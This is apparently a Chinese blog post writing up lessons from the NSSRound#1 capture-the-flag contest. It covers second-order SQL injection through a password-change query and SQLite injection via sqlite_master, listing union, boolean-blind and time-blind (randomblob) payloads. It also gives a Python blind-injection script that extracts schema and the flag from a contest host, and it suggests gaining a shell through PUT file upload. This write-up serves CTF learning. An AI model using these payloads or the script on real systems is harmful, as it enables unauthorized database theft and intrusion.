从NSSRound#1学到了什么

sql_by_sql

  • 二次注入:

更改密码的功能形如:

update user set password='%s' where username='%s';

的语句就可以存在二次注入,即假设有个admin 我们直接创建一个用户为:

admin' -- -

然后更改密码时候执行语句就是:

update user set password='new passwd' where username='admin' -- -'

成功的修改了admin的密码

  • sqlite注入:

SQLite中有一个类似information_schema功能的表sqlite_master

其中表里面有五个字段:

type:记录项目的类型,如table、index、view、trigger

name:记录项目的名称,如表名、索引名等

tbl_name:记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身

rootpage:记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL

sql:记录创建该项目的SQL语句

联合查询:

闭合注释:

-- -
/*

order by 确定字段数:

1' order by 5 -- - 

判断回显位置:

-1' union select 1,2,3 -- -

查看版本:

-1'union select 1,2,sqlite_version() -- -

查询表明和列名,通过sqlite_master:

-1' union select 1,(select sql from sqlite_master where type='table'),3 -- -
-1' union select 1,(select sql from sqlite_master where type='table' and name='user_data'),3 -- -

查询数据:

-1' union select 1,(select group_concat(username,password)from users),3 -- -

布尔盲注:

  • sqlite是不支持ascii函数的 所以只能通过字符的形式去比较
-1 or substr((select group_concat(sql)from sqlite_master),1,1)<'a'/*

得到表名:

1 and substr((select name from sqlite_master where type='table' limit 1,1),1,1)='a'

得到列名:

select sql from sqlite_master where type='table' and name = 'flag'

最后数据:

select flag from flag limit 0,1

这里加不加limit 0,1其实有时候都可以

时间盲注:

sqlite没有sleep()函数 可以用randomblob(N)

没有if 用case when代替

-1' or (case when(substr(sqlite_version(),1,1)>'3') then randomblob(300000000) else 0 end)/*

最后整合一个简单脚本,有点冗余 但是够用了:

import requests

url='http://1.14.71.254:28351/query'
def  many_data():
    result = ""
    for total in range(600):
        print(f"=====================第[{total}]次数据zinc======================")
        minn=32
        maxx=127
        mid=(minn+maxx)//2
        while minn<maxx:
            select=f"-1 or substr((select group_concat(sql)from sqlite_master ),{total},1)>'{chr(mid)}'-- -"
            data={'id':select}
            resp=requests.post(url,data)
            if "exist" in resp.text:
                minn=mid+1
            else:
                maxx=mid
            mid=(minn+maxx)//2
            if mid==32 or mid==127:
                break
        result+=chr(mid)
        print(result)
def flag():
    result = ""
    for total in range(1,600):
        print(f"=====================第[{total}]次数据zinc======================")
        minn=32
        maxx=127
        mid=(minn+maxx)//2
        while minn<maxx:
            select=f"-1 or substr((select flag from flag limit 0,1),{total},1)>'{chr(mid)}'-- -"
            data={'id':select}
            resp=requests.post(url,data)
            if "exist" in resp.text:
                minn=mid+1
            else:
                maxx=mid
            mid=(minn+maxx)//2
            if chr(mid)==" ":
                break
        result+=chr(mid)
        print(result)
def table_name():
    result = ""
    for total in range(1,600):
        print(f"=====================第[{total}]次数据zinc======================")
        minn=32
        maxx=127
        mid=(minn+maxx)//2
        while minn<maxx:
            select=f"-1 or substr((select sql from sqlite_master where type='table' and name='flag'),{total},1)>'{chr(mid)}'-- -"
            data={'id':select}
            resp=requests.post(url,data)
            if "exist" in resp.text:
                minn=mid+1
            else:
                maxx=mid
            mid=(minn+maxx)//2
            if mid==32 or mid==127:
                break
        result+=chr(mid)
        print(result)

#many_data()
# flag()
#table_name()

basic_check

  • 提醒我们 当页面啥也没有 扫目录扫不出来 可以尝试看看有没有OPTIONS然后构造PUT文件上传最后拿shell

参考连接:

https://bilala.gitee.io/2022/04/04/Round-1-Basic/

posted @ 2022-04-10 20:04  z2n3  阅读(116)  评论(0编辑  收藏  举报